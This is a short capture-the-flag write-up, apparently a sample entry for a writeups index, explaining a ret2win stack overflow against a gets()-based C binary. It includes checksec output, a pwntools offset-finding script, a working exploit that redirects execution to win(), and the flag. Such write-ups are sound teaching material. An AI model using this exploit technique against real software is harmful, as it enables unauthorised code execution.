Stack Smash 101

Second sample entry, in the same competition group as “Broken Vault” — shows how two challenges from one competition render together under a single heading on the CTF Writeups index.

Challenge summary

A small C binary reads a name into a fixed-size stack buffer with gets(). No canary, no PIE, no NX bypass needed — there’s a win() function sitting right there in the binary.

Finding the offset

$ checksec ./vuln
[*] '/ctf/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

Cyclic pattern gets us the offset to the saved return address:

from pwn import *
io = process('./vuln')
io.sendline(cyclic(200))
io.wait()
core = io.corefile
offset = cyclic_find(core.read(core.rsp, 4))

Exploit

from pwn import *

elf = context.binary = ELF('./vuln')
io = remote('target', 1337)

payload = b'A' * offset
payload += p64(elf.sym['win'])

io.sendline(payload)
io.interactive()

Flag

HTB{r3t2w1n_1s_4lw4ys_th3_f1rst_st3p}

Takeaways

Always run checksec first — when NX, canary, and PIE are all off, a straight ret2win is usually the fastest path, no ROP chain required.